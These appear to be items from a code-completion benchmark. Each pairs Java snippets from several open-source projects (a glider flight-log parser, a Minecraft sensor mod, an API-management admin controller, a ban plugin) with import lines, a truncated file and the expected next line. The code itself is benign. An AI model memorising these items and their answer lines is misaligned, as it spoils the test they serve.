{\n this.maxAltitude = maxAltitude;\n }\n\n public int getMaxAltitude() {\n return maxAltitude;\n }\n\n public void setMinAltitude(int minAltitude) {\n this.minAltitude = minAltitude;\n }\n\n public int getMinAltitude() {\n return this.minAltitude;\n }\n\n public void setTakeOffTime(String departureTime) {\n this.takeOffTime = departureTime;\n }\n\n public String getTakeOffTime() {\n return takeOffTime;\n }\n\n public void setLandingTime(String landingTime) {\n this.landingTime = landingTime;\n }\n\n public String getLandingTime() {\n return landingTime;\n }\n\n public String getFlightTime() {\n return Utilities.getFlightTime(takeOffTime, landingTime);\n }\n\n public void setGliderType(String gliderType) {\n this.gliderType = gliderType;\n }\n\n public void setGliderId(String gliderId) {\n this.gliderId = gliderId;\n }\n\n public String getPilotInCharge() {\n return pilotInCharge;\n }\n\n public void setPilotInCharge(String pilotInCharge) {\n this.pilotInCharge = pilotInCharge;\n }\n\n public String getDate() {\n return date;\n }\n\n public void setDate(String date) {\n this.date = date;\n }\n\n public String getFileName() {\n return fileName;\n }\n\n public String getFilePath() {\n return filePath;\n }\n\n public String getGliderTypeAndId() {\n if (TextUtils.isEmpty(gliderId) && TextUtils.isEmpty(gliderType)) {\n return Constants.EMPTY_STRING;\n }\n\n if (TextUtils.isEmpty(gliderType)) {\n return gliderId;\n } else {\n if (!TextUtils.isEmpty(gliderId)) {\n String gliderInformationPlaceholder = \"%1$s (%2$s)\";\n return String.format(gliderInformationPlaceholder, gliderType, gliderId);\n } else {\n return gliderType;\n }\n }\n }\n\n public void setFileData(Uri filePath) {\n this.filePath = filePath.toString();\n this.fileName = filePath.getLastPathSegment();\n }\n\n public void setTaskDistance(double taskDistance) {\n this.taskDistance = taskDistance;\n }\n\n public double getTaskDistance() {\n return taskDistance;\n }\n\n public int getStartAltitude() {\n return startAltitude;\n }\n\n public void setStartAltitude(int startAltitude) {\n this.startAltitude = startAltitude;\n }\n\n public int getAverageSpeed() {\n return averageSpeed;\n }\n\n public void setAverageSpeed(int averageSpeed) {\n this.averageSpeed = averageSpeed;\n }\n\n public int getTakeOffAltitude() {\n if (listTrackPoints != null && !listTrackPoints.isEmpty()) {\n return ((BRecord) listTrackPoints.get(0)).getAltitude();\n }\n return 0;\n }\n\n public int getLandingAltitude() {\n if (listTrackPoints != null && !listTrackPoints.isEmpty()) {\n return ((BRecord) listTrackPoints.get(listTrackPoints.size() - 1)).getAltitude();\n }\n return 0;\n }\n\n public void setTaskCompleted(boolean isCompleted) {\n isTaskCompleted = isCompleted;\n }\n\n public boolean isTaskCompleted() {\n return isTaskCompleted;\n }\n\n public double getTraveledTaskDistance() {\n return traveledTaskDistance;\n }\n\n public void setTraveledTaskDistance(double traveledTaskDistance) {\n this.traveledTaskDistance = traveledTaskDistance;\n }\n\n public int getTaskAverageSpeed() {\n return taskAverageSpeed;\n }\n\n public void setTaskAverageSpeed(int taskAverageSpeed) {\n this.taskAverageSpeed = taskAverageSpeed;\n }\n\n public String getTaskDuration() {\n return taskDuration;\n }\n\n public void setTaskDuration(String taskDuration) {\n this.taskDuration = taskDuration;\n }\n}", "public interface ILatLonRecord {\n LatLon getLatLon();\n}", "public class TaskConfig {\n private static int areaWidth = Constants.Task.AREA_WIDTH_IN_METERS;\n private static int startLength = Constants.Task.START_IN_METERS;\n private static int finishLength = Constants.Task.FINISH_IN_METERS;\n\n public static int getFinishLength() {\n return finishLength;\n }\n\n public static void setFinishLength(int finishLength) {\n TaskConfig.finishLength = finishLength;\n }\n\n public static int getStartLength() {\n return startLength;\n }\n\n public static void setStartLength(int startLength) {\n TaskConfig.startLength = startLength;\n }\n\n public static int getAreaWidth() {\n return areaWidth;\n }\n\n public static void setAreaWidth(int areaWidth) {\n TaskConfig.areaWidth = areaWidth;\n }\n\n}" ]
import com.shollmann.android.igcparser.model.CRecordWayPoint; import com.shollmann.android.igcparser.model.IGCFile; import com.shollmann.android.igcparser.model.ILatLonRecord; import com.shollmann.android.igcparser.model.TaskConfig; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; import java.util.List; import android.location.Location; import com.google.android.gms.maps.model.LatLng; import com.google.maps.android.SphericalUtil; import com.shollmann.android.igcparser.model.BRecord; import com.shollmann.android.igcparser.model.CRecordType;
/* * MIT License * * Copyright (c) 2017 Santiago Hollmann * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ package com.shollmann.android.igcparser.util; public class WaypointUtilities { public static void calculateReachedAreas(int positionBRecord, BRecord bRecord, IGCFile igcFile, HashMap<String, Integer> mapAreaReached) {
List<ILatLonRecord> waypoints = igcFile.getWaypoints();
4
Cloudhunter/OpenCCSensors
src/main/java/openccsensors/common/sensor/MinecartSensor.java
[ "public interface IRequiresIconLoading {\n\tpublic void loadIcon(IIconRegister iconRegistry);\n}", "public interface ISensor {\n\tHashMap getDetails(World world, Object obj, ChunkCoordinates location, boolean additional);\n\tHashMap getTargets(World world, ChunkCoordinates location, ISensorTier tier);\n\tString[] getCustomMethods(ISensorTier tier);\n\tObject callCustomMethod(World world, ChunkCoordinates location, int methodID, Object[] args, ISensorTier tier) throws Exception;\n\tString getName();\n\tIIcon getIcon();\n\tItemStack getUniqueRecipeItem();\n}", "public interface ISensorTier {\n\t\n\tpublic EnumItemRarity getRarity();\n\tpublic double getMultiplier();\n\tpublic String getName();\n\tpublic IIcon getIcon();\n\t\n}", "public class EntityUtils {\n\n\t\n\tpublic static HashMap<String, Entity> getEntities(World world, ChunkCoordinates location, double radius, Class filter) {\n\t\tHashMap<String, Entity> map = new HashMap<String, Entity>();\n\t\t\n\t\tint dChunk = (int) Math.ceil(radius / 16.0F);\n\t\t\n\t\tint x = (int)location.posX;\n\t\tint y = (int)location.posY;\n\t\tint z = (int)location.posZ;\n\n\t\tfor (int dx = -dChunk; dx <= dChunk; dx++) {\n\t\t\tfor (int dz = -dChunk; dz <= dChunk; dz++) {\n\t\t\t\tChunk chunk = world.getChunkFromBlockCoords(x+16*dx, z+16*dz);\n\t\t\t\tfor (List<Entity> subchunk : chunk.entityLists) {\n\t\t\t\t\tfor (Entity entity : subchunk) {\n\t\t\t\t\t\tVec3 livingPos = Vec3.createVectorHelper(\n\t\t\t\t\t\t\t\tentity.posX + 0.5,\n\t\t\t\t\t\t\t\tentity.posY + 0.5,\n\t\t\t\t\t\t\t\tentity.posZ + 0.5\n\t\t\t\t\t\t);\n\t\t\t\t\t\tif ((Vec3.createVectorHelper((double)location.posX, (double)location.posY, (double)location.posZ)).distanceTo(livingPos) <= radius && filter.isAssignableFrom(entity.getClass())) {\n\t\t\t\t\t\t\tString targetName = (entity instanceof EntityPlayer) ? entity\n\t\t\t\t\t\t\t\t\t.getCommandSenderName() : entity\n\t\t\t\t\t\t\t\t\t.getCommandSenderName() + entity.getEntityId();\n\t\t\t\t\t\t\ttargetName = targetName.replaceAll(\"\\\\s\", \"\");\n\t\t\t\t\t\t\tmap.put(targetName, entity);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn map;\n\t}\n\n\t\n\tpublic static HashMap livingToMap(EntityLivingBase living, ChunkCoordinates sensorPos, boolean additional) {\n\t\tHashMap map = new HashMap();\n\t\t\n\t\tHashMap position = new HashMap();\n\t\tposition.put(\"X\", living.posX - sensorPos.posX);\n\t\tposition.put(\"Y\", living.posY - sensorPos.posY);\n\t\tposition.put(\"Z\", living.posZ - sensorPos.posZ);\n\t\tmap.put(\"Position\", position);\n\n\t\tmap.put(\"Name\", (living instanceof EntityPlayerMP) ? \"Player\" : living.getCommandSenderName());\n\t\tmap.put(\"RawName\", living.getClass().getName());\n\t\tmap.put(\"IsPlayer\", living instanceof EntityPlayerMP);\n\t\t\n\t\tif (additional) {\n\n\t\t\tmap.put(\"HeldItem\", InventoryUtils.itemstackToMap(living.getHeldItem()));\n\t\n\t\t\tHashMap armour = new HashMap();\n\t\t\tarmour.put(\"Boots\", InventoryUtils.itemstackToMap(living.getEquipmentInSlot(1)));\n\t\t\tarmour.put(\"Leggings\", InventoryUtils.itemstackToMap(living.getEquipmentInSlot(2)));\n\t\t\tarmour.put(\"Chestplate\", InventoryUtils.itemstackToMap(living.getEquipmentInSlot(3)));\n\t\t\tarmour.put(\"Helmet\", InventoryUtils.itemstackToMap(living.getEquipmentInSlot(4)));\n\t\t\t\n\t\t\tmap.put(\"Armour\", armour);\n\t\t\tmap.put(\"Health\", living.getHealth());\n\t\t\tmap.put(\"IsAirborne\", !living.onGround);\n\t\t\tmap.put(\"IsBurning\", living.isBurning());\n\t\t\tmap.put(\"IsAlive\", living.isEntityAlive());\n\t\t\tmap.put(\"IsInWater\", living.isInWater());\n\t\t\tmap.put(\"IsOnLadder\", living.isOnLadder());\n\t\t\tmap.put(\"IsSleeping\", living.isPlayerSleeping());\n\t\t\tmap.put(\"IsRiding\", living.isRiding());\n\t\t\tmap.put(\"IsSneaking\", living.isSneaking());\n\t\t\tmap.put(\"IsSprinting\", living.isSprinting());\n\t\t\tmap.put(\"IsWet\", living.isWet());\n\t\t\tmap.put(\"IsChild\", living.isChild());\n\t\t\tmap.put(\"Yaw\", living.rotationYaw);\n\t\t\tmap.put(\"Pitch\", living.rotationPitch);\n\t\t\tmap.put(\"YawHead\", living.rotationYawHead);\n\t\n\t\t\tHashMap potionEffects = new HashMap();\n\t\t\tCollection<PotionEffect> effects = living.getActivePotionEffects();\n\t\t\tint count = 1;\n\t\t\tfor (PotionEffect effect : effects) {\n\t\t\t\tpotionEffects.put(count, effect.getEffectName());\n\t\t\t\tcount++;\n\t\t\t}\n\t\t\tmap.put(\"PotionEffects\", potionEffects);\n\t\t}\n\t\n\t\tif (living instanceof EntityPlayerMP) {\n\t\t\tEntityPlayerMP player = (EntityPlayerMP) living;\n\t\t\tmap.put(\"Username\", player.getCommandSenderName());\n\t\t\tmap.put(\"IsBlocking\", player.isBlocking());\n\t\t\tmap.put(\"ExperienceTotal\", player.experienceTotal);\n\t\t\tmap.put(\"ExperienceLevel\", player.experienceLevel);\n\t\t\tmap.put(\"Experience\", player.experience);\n\t\t\tif (additional) {\n\t\t\t\tmap.put(\"FoodLevel\", player.getFoodStats().getFoodLevel());\n\t\t\t\tmap.put(\"Gamemode\", player.capabilities.isCreativeMode);\n\t\t\t\tmap.put(\"Inventory\", InventoryUtils.invToMap(player.inventory));\n\t\t\t}\n\t\t\n\t\t\tmap.put(\"Experience\", player.experience);\n\t\t}\n\t\t\n\t\tif (living instanceof EntityTameable) {\n\t\t\tEntityTameable tameable = (EntityTameable) living;\n\t\t\tmap.put(\"IsSitting\", tameable.isSitting());\n\t\t\tmap.put(\"IsTamed\", tameable.isTamed());\n\t\t\tif (tameable.isTamed()) {\n\t\t\t\tmap.put(\"OwnerName\", tameable.getOwner().getCommandSenderName());\n\t\t\t}\n\t\t\tif (tameable instanceof EntityWolf) {\n\t\t\t\tEntityWolf wolf = (EntityWolf) tameable;\n\t\t\t\tmap.put(\"IsAngry\", wolf.isAngry());\n\t\t\t\tif (((EntityTameable)wolf).isTamed()) {\n\t\t\t\t\tmap.put(\"CollarColor\", wolf.getCollarColor());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\n\t\treturn map;\n\t}\n}", "public class InventoryUtils {\n\n\tpublic static final String FACTORIZATION_BARREL_CLASS = \"factorization.common.TileEntityBarrel\";\n\tpublic static int[] mapColors = new int[] {\n\t\t\t32768, \t// black\n\t\t\t32, \t// lime\n\t\t\t16, \t// yellow\n\t\t\t256, \t// light gray\n\t\t\t16384, \t// red\n\t\t\t2048, \t// blue\n\t\t\t128, \t// gray\n\t\t\t8192, \t// green\n\t\t\t1, \t\t// white\n\t\t\t512, \t// cyan\n\t\t\t4096, \t// brown\n\t\t\t128, \t// gray\n\t\t\t2048, \t// blue\n\t\t\t4096 \t// brown\t\n\t};\n\t\n\tpublic static HashMap itemstackToMap(ItemStack itemstack) {\n\t\t\n\t\tif (itemstack == null) {\n\n\t\t\treturn null;\n\n\t\t} else {\n\t\t\tHashMap map = new HashMap();\n\t\t\tmap.put(\"Name\", getNameForItemStack(itemstack));\t\t\t\n\t\t\tmap.put(\"RawName\", getRawNameForStack(itemstack));\n\t\t\tmap.put(\"Size\", itemstack.stackSize);\n\t\t\tmap.put(\"DamageValue\", itemstack.getItemDamage());\n\t\t\tmap.put(\"MaxStack\", itemstack.getMaxStackSize());\n\t\t\tItem item = itemstack.getItem();\n\t\t\tif (item != null) {\n\t\t\t\tif (item instanceof ItemEnchantedBook) {\n\t\t\t\t\tmap.put(\"Enchantments\", getBookEnchantments(itemstack));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn map;\n\t\t}\n\n\t}\n\t\n\tprotected static HashMap getBookEnchantments(ItemStack stack) {\n\t\t\n\t\tHashMap response = new HashMap();\n\t\t\n\t\tItemEnchantedBook book = (ItemEnchantedBook) stack.getItem();\n NBTTagList nbttaglist = book.func_92110_g(stack);\n int offset = 1;\n if (nbttaglist != null)\n {\n for (int i = 0; i < nbttaglist.tagCount(); ++i)\n {\n short short1 = (nbttaglist.getCompoundTagAt(i)).getShort(\"id\");\n short short2 = (nbttaglist.getCompoundTagAt(i)).getShort(\"lvl\");\n\n if (Enchantment.enchantmentsList[short1] != null)\n {\n response.put(offset, Enchantment.enchantmentsList[short1].getTranslatedName(short2));\n offset++;\n }\n }\n }\n return response;\n\t}\n\t\n\tpublic static HashMap invToMap(IInventory inventory) {\n\t\tHashMap map = new HashMap();\n\t\tif (inventory.getClass().getName() == FACTORIZATION_BARREL_CLASS) {\n\t\t\tMap details = itemstackToMap(inventory.getStackInSlot(0));\n\t\t\ttry {\n\t\t\t\tTileEntity barrel = (TileEntity) inventory;\n\t\t\t\tNBTTagCompound compound = new NBTTagCompound();\n\t\t\t\tbarrel.writeToNBT(compound);\n\t\t\t\tdetails.put(\"Size\", compound.getInteger(\"item_count\"));\n\t\t\t\tdetails.put(\"MaxStack\",\n\t\t\t\t\t\tcompound.getInteger(\"upgrade\") == 1 ? 65536 : 4096);\n\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\t\tmap.put(1, details);\n\t\t} else {\n\t\t\tfor (int i = 0; i < inventory.getSizeInventory(); i++) {\n\t\t\t\tmap.put(i + 1, itemstackToMap(inventory.getStackInSlot(i)));\n\t\t\t}\n\t\t}\n\t\treturn map;\n\t}\n\t\n\tpublic static HashMap getInventorySizeCalculations(IInventory inventory) {\n\t\tItemStack stack;\n\t\tint totalSpace = 0;\n\t\tint itemCount = 0;\n\t\tfor (int i = 0; i < inventory.getSizeInventory(); i++) {\n\t\t\tstack = inventory.getStackInSlot(i);\n\t\t\tif (stack == null) {\n\t\t\t\ttotalSpace += 64;\n\t\t\t}else {\n\t\t\t\ttotalSpace += stack.getMaxStackSize();\n\t\t\t\titemCount += stack.stackSize;\n\t\t\t}\n\t\t}\n\t\t\n\t\tHashMap response = new HashMap();\n\t\tresponse.put(\"TotalSpace\", totalSpace);\n\t\tresponse.put(\"ItemCount\", itemCount);\n\t\tif (totalSpace > 0) {\n\t\t\tdouble percent = (double)100 / totalSpace * itemCount;\n\t\t\tpercent = Math.max(Math.min(percent, 100), 0);\n\t\t\tresponse.put(\"InventoryPercentFull\", percent);\t\t\t\n\t\t}\n\t\t\n\t\treturn response;\n\t}\n\n\tpublic static String getNameForItemStack(ItemStack is) {\n\t\tString name = \"Unknown\";\n\t\ttry {\n\t\t\tname = is.getDisplayName();\n\t\t} catch (Exception e) {\n\t\t}\n\t\treturn name;\n\t}\n\n\tpublic static String getRawNameForStack(ItemStack is) {\n\n\t\tString rawName = \"unknown\";\n\n\t\ttry {\n\t\t\trawName = is.getDisplayName().toLowerCase();\n\t\t} catch (Exception e) {\n\t\t}\n\t\ttry {\n\t\t\tif (rawName.length() - rawName.replaceAll(\"\\\\.\", \"\").length() == 0) {\n\t\t\t\tString packageName = is.getItem().getClass().getName()\n\t\t\t\t\t\t.toLowerCase();\n\t\t\t\tString[] packageLevels = packageName.split(\"\\\\.\");\n\t\t\t\tif (!rawName.startsWith(packageLevels[0])\n\t\t\t\t\t\t&& packageLevels.length > 1) {\n\t\t\t\t\trawName = packageLevels[0] + \".\" + rawName;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\n\t\t}\n\n\t\treturn rawName.trim();\n\t}\n\n\tpublic static ItemStack getStackInSlot(World world, HashMap targets, String targetName, int slot) {\n\t\tif (targets.containsKey(targetName)) {\n\t\t\tObject target = targets.get(targetName);\n\t\t\tif (target instanceof IInventory) {\n\t\t\t\tIInventory inventory = (IInventory) target;\n\t\t\t\tif (slot < inventory.getSizeInventory()) {\n\t\t\t\t\treturn inventory.getStackInSlot(slot);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\t\n\tpublic static HashMap getMapData(World world, HashMap targets, String targetName,\n\t\t\tint slot) {\n\t\tItemStack stack = getStackInSlot(world, targets, targetName, slot);\n\t\t\t\t\t\n\t\tif (stack != null) {\n\t\t\tItem item = stack.getItem();\n\t\t\tif (item != null && item instanceof ItemMap)\n\t\t\t{\n\t\t\t\t// Create a new map\n\t\t\t\tMapData data = ((ItemMap)item).getMapData(stack, world);\n\n\t\t\t\t// prepare the return data\n\t\t\t\tHashMap ret = new HashMap();\n\t\t\t\tret.put(\"MapName\", data.mapName);\n\t\t\t\tret.put(\"Scale\", (int)data.scale);\n\t\t\t\tret.put(\"CenterX\", data.xCenter);\n\t\t\t\tret.put(\"CenterZ\", data.zCenter);\n\t\t\t\tHashMap colors = new HashMap();\n\t\t\t\t// put all the colours in\n\t\t\t\tfor (int b = 0; b < data.colors.length; b++)\n\t\t\t\t{\n\t\t\t\t\tcolors.put(b + 1, mapColors[data.colors[b] / 4]);\n\t\t\t\t}\n\t\t\t\tret.put(\"Colors\", colors);\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n}", "public class Mods {\n\t\n\t/***\n\t * IndustrialCraft 2\n\t */\n\tpublic static final boolean IC2 = Loader.isModLoaded(\"IC2\");\n\t\n\t/***\n\t * Applied Energistics\n\t */\n\tpublic static final boolean AE = Loader.isModLoaded(\"AppliedEnergistics\");\n\t\n\t/***\n\t * Thermal Expansion\n\t */\n\tpublic static final boolean TE = Loader.isModLoaded(\"ThermalExpansion\");\n\t\n\t/***\n\t * RotaryCraft\n\t */\n\tpublic static final boolean RC = Loader.isModLoaded(\"RotaryCraft\");\n\t\n\t/***\n\t * ThaumCraft\n\t */\n\tpublic static final boolean TC = Loader.isModLoaded(\"ThaumCraft\");\n\t\n\t/***\n\t * Ars Magica\n\t */\n\tpublic static final boolean AM = Loader.isModLoaded(\"ArsMagica\");\n\t\n\t/***\n\t * RailCraft\n\t */\n\tpublic static final boolean RAIL = Loader.isModLoaded(\"Railcraft\");\n\t\n\t\n\t/***\n\t * CoFH Core\n\t */\n\tprivate static boolean isCoFHCoreLoaded() {\n\t\ttry {\n\t\t\tClass cls = Class.forName(\"cofh.api.energy.IEnergyProvider\");\n\t\t\treturn true;\n\t\t} catch (ClassNotFoundException e) {\n\t\t\treturn false;\n\t\t}\n\t}\t\n\t\n\tpublic static final boolean COFH = isCoFHCoreLoaded(); \n\t\t\n}" ]
import java.util.HashMap; import mods.railcraft.api.carts.IEnergyTransfer; import mods.railcraft.api.carts.IExplosiveCart; import mods.railcraft.api.carts.IRoutableCart; import net.minecraft.client.renderer.texture.IIconRegister; import net.minecraft.entity.EntityList; import net.minecraft.entity.EntityLivingBase; import net.minecraft.entity.item.EntityMinecart; import net.minecraft.inventory.IInventory; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.util.ChunkCoordinates; import net.minecraft.util.IIcon; import net.minecraft.world.World; import net.minecraftforge.fluids.IFluidHandler; import openccsensors.api.IRequiresIconLoading; import openccsensors.api.ISensor; import openccsensors.api.ISensorTier; import openccsensors.common.util.EntityUtils; import openccsensors.common.util.InventoryUtils; import openccsensors.common.util.Mods; import openccsensors.common.util.RailcraftUtils; import openccsensors.common.util.TankUtils;
package openccsensors.common.sensor; public class MinecartSensor implements ISensor, IRequiresIconLoading { private IIcon icon; @Override public HashMap getDetails(World world, Object obj, ChunkCoordinates sensorPos, boolean additional) { EntityMinecart minecart = (EntityMinecart) obj; HashMap response = new HashMap(); HashMap position = new HashMap(); position.put("X", minecart.posX - sensorPos.posX); position.put("Y", minecart.posY - sensorPos.posY); position.put("Z", minecart.posZ - sensorPos.posZ); response.put("Position", position); response.put("Name", minecart.func_95999_t()); response.put("RawName", EntityList.getEntityString(minecart)); if (minecart instanceof IInventory) { response.put("Slots", InventoryUtils.invToMap((IInventory)minecart)); } if (minecart instanceof IFluidHandler) { response.put("Tanks", TankUtils.fluidHandlerToMap((IFluidHandler)minecart)); } if (minecart.riddenByEntity != null && minecart.riddenByEntity instanceof EntityLivingBase) { response.put("Riding", EntityUtils.livingToMap((EntityLivingBase)minecart.riddenByEntity, sensorPos, true)); }
if (Mods.RAIL) {
5
xuxueli/xxl-api
xxl-api-admin/src/main/java/com/xxl/api/admin/controller/XxlApiBizController.java
[ "public class XxlApiBiz {\n\n private int id;\n private String bizName;\n private int order;\n\n public int getId() {\n return id;\n }\n\n public void setId(int id) {\n this.id = id;\n }\n\n public String getBizName() {\n return bizName;\n }\n\n public void setBizName(String bizName) {\n this.bizName = bizName;\n }\n\n public int getOrder() {\n return order;\n }\n\n public void setOrder(int order) {\n this.order = order;\n }\n}", "public class StringTool {\n\n public static final String EMPTY = \"\";\n\n public static boolean isBlank(final String str) {\n return str==null || str.trim().length()==0;\n }\n\n public static boolean isNotBlank(final String str) {\n return !isBlank(str);\n }\n\n\n public static String[] split(final String str, final String separatorChars) {\n if (isBlank(str)) {\n return null;\n }\n if (isBlank(separatorChars)) {\n return new String[]{str.trim()};\n }\n List<String> list = new ArrayList<>();\n for (String item : str.split(separatorChars)) {\n if (isNotBlank(item)) {\n list.add(item.trim());\n }\n }\n return list.toArray(new String[list.size()]);\n }\n\n public static String join(final String[] array, String separator) {\n if (array == null) {\n return null;\n }\n if (separator == null) {\n separator = EMPTY;\n }\n final StringBuilder buf = new StringBuilder();\n\n for (int i = 0; i < array.length; i++) {\n if (i > 0) {\n buf.append(separator);\n }\n if (array[i] != null) {\n buf.append(array[i]);\n }\n }\n return buf.toString();\n }\n\n\n public static void main(String[] args) {\n System.out.println(isBlank(\" \"));\n System.out.println(isNotBlank(\"qwe\"));\n System.out.println(split(\"a,b,cc,\", \",\"));\n System.out.println(join(new String[]{\"a\",\"b\",\"c\"},\",\"));\n }\n\n}", "@Mapper\npublic interface IXxlApiBizDao {\n\n public int add(XxlApiBiz xxlApiBiz);\n\n public int update(XxlApiBiz xxlApiBiz);\n\n public int delete(@Param(\"id\") int id);\n\n public List<XxlApiBiz> loadAll();\n\n public List<XxlApiBiz> pageList(@Param(\"offset\") int offset,\n @Param(\"pagesize\") int pagesize,\n @Param(\"bizName\") String bizName);\n public int pageListCount(@Param(\"offset\") int offset,\n @Param(\"pagesize\") int pagesize,\n @Param(\"bizName\") String bizName);\n\n public XxlApiBiz load(@Param(\"id\") int id);\n\n}", "@Mapper\npublic interface IXxlApiDataTypeDao {\n\n public int add(XxlApiDataType xxlApiDataType);\n\n public int update(XxlApiDataType xxlApiDataType);\n\n public int delete(@Param(\"id\") int id);\n\n public XxlApiDataType load(@Param(\"id\") int id);\n\n public List<XxlApiDataType> pageList(@Param(\"offset\") int offset,\n @Param(\"pagesize\") int pagesize,\n @Param(\"bizId\") int bizId,\n @Param(\"name\") String name);\n public int pageListCount(@Param(\"offset\") int offset,\n @Param(\"pagesize\") int pagesize,\n @Param(\"bizId\") int bizId,\n @Param(\"name\") String name);\n\n public XxlApiDataType loadByName(@Param(\"name\") String name);\n\n}", "@Mapper\npublic interface IXxlApiProjectDao {\n\n public int add(XxlApiProject xxlApiProject);\n public int update(XxlApiProject xxlApiProject);\n public int delete(@Param(\"id\") int id);\n\n public XxlApiProject load(@Param(\"id\") int id);\n public List<XxlApiProject> pageList(@Param(\"offset\") int offset,\n @Param(\"pagesize\") int pagesize,\n @Param(\"name\") String name,\n @Param(\"bizId\") int bizId);\n public int pageListCount(@Param(\"offset\") int offset,\n @Param(\"pagesize\") int pagesize,\n @Param(\"name\") String name,\n @Param(\"bizId\") int bizId);\n\n}" ]
import com.xxl.api.admin.controller.annotation.PermessionLimit; import com.xxl.api.admin.core.model.ReturnT; import com.xxl.api.admin.core.model.XxlApiBiz; import com.xxl.api.admin.core.util.tool.StringTool; import com.xxl.api.admin.dao.IXxlApiBizDao; import com.xxl.api.admin.dao.IXxlApiDataTypeDao; import com.xxl.api.admin.dao.IXxlApiProjectDao; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import javax.annotation.Resource; import java.util.HashMap; import java.util.List; import java.util.Map;
package com.xxl.api.admin.controller; /** * Created by xuxueli on 17/5/23. */ @Controller @RequestMapping("/biz") public class XxlApiBizController { @Resource private IXxlApiBizDao xxlApiBizDao; @Resource private IXxlApiProjectDao xxlApiProjectDao; @Resource private IXxlApiDataTypeDao xxlApiDataTypeDao; @RequestMapping @PermessionLimit(superUser = true) public String index(Model model) { return "biz/biz.list"; } @RequestMapping("/pageList") @ResponseBody @PermessionLimit(superUser = true) public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = "0") int start, @RequestParam(required = false, defaultValue = "10") int length, String bizName) { // page list
List<XxlApiBiz> list = xxlApiBizDao.pageList(start, length, bizName);
0
grandwazir/BanHammer
src/main/java/name/richardson/james/bukkit/banhammer/UndoCommand.java
[ "public class PlayerNamePositionalArgument {\n\n\tpublic static Argument getInstance(PlayerRecordManager playerRecordManager, int position, boolean required, final PlayerRecordManager.PlayerStatus playerStatus) {\n\t\tArgumentMetadata metadata = new SimpleArgumentMetadata(ARGUMENT_PLAYER_ID, ARGUMENT_PLAYER_NAME, ARGUMENT_PLAYER_DESC, ARGUMENT_PLAYER_NAME_ERROR);\n\t\tSuggester suggester = new PlayerRecordMatcher(playerRecordManager, playerStatus);\n\t\tif (required) {\n\t\t\treturn new RequiredPositionalArgument(metadata, suggester, position);\n\t\t} else {\n\t\t\treturn new PositionalArgument(metadata, suggester, position);\n\t\t}\n\t}\n\n\tpublic static Argument getInstance(Server server, int position, boolean required) {\n\t\tArgumentMetadata metadata = new SimpleArgumentMetadata(ARGUMENT_PLAYER_ID, ARGUMENT_PLAYER_NAME, ARGUMENT_PLAYER_DESC, ARGUMENT_PLAYER_NAME_ERROR);\n\t\tSuggester suggester = new OnlinePlayerSuggester(server);\n\t\tif (required) {\n\t\t\treturn new RequiredPositionalArgument(metadata, suggester, position);\n\t\t} else {\n\t\t\treturn new PositionalArgument(metadata, suggester, position);\n\t\t}\n\t}\n\n}", "@Entity()\n@Table(name = \"banhammer_bans\")\npublic class BanRecord {\n\n\t/**\n\t * The valid states of a BanRecord\n\t */\n\tpublic enum State {\n\n\t\t/**\n\t\t * If a ban is currently active.\n\t\t */\n\t\tNORMAL,\n\n\t\t/**\n\t\t * If a ban has expired.\n\t\t */\n\t\tEXPIRED,\n\n\t\t/**\n\t\t * If a ban has been pardoned.\n\t\t */\n\t\tPARDONED\n\t}\n\n\t/**\n\t * The valid types of a BanRecord\n\t */\n\tpublic enum Type {\n\n\t\t/**\n\t\t * A ban which will never expire.\n\t\t */\n\t\tPERMANENT,\n\n\t\t/**\n\t\t * A ban which will expire after a period of time.\n\t\t */\n\t\tTEMPORARY\n\t}\n\n\t/**\n\t * The created at.\n\t */\n\t@NotNull\n\t@Temporal(TemporalType.TIMESTAMP)\n\tprivate Timestamp createdAt;\n\t/**\n\t * The creator.\n\t */\n\t@ManyToOne(targetEntity = PlayerRecord.class, fetch = FetchType.EAGER, cascade = {CascadeType.PERSIST})\n\t@PrimaryKeyJoinColumn(name = \"creatorId\", referencedColumnName = \"id\")\n\tprivate PlayerRecord creator;\n\t/**\n\t * The expires at.\n\t */\n\t@Temporal(TemporalType.TIMESTAMP)\n\tprivate Timestamp expiresAt;\n\t/**\n\t * The id.\n\t */\n\t@Id\n\tprivate int id;\n\t/**\n\t * The player.\n\t */\n\t@ManyToOne(targetEntity = PlayerRecord.class, fetch = FetchType.EAGER, cascade = {CascadeType.PERSIST})\n\t@PrimaryKeyJoinColumn(name = \"playerId\", referencedColumnName = \"id\")\n\tprivate PlayerRecord player;\n\t/**\n\t * The reason.\n\t */\n\t@NotNull\n\tprivate String reason;\n\t/**\n\t * The state.\n\t */\n\t@NotNull\n\tprivate State state;\n\n\t/**\n\t * Gets the created at.\n\t *\n\t * @return the created at\n\t */\n\tpublic Timestamp getCreatedAt() {\n\t\treturn 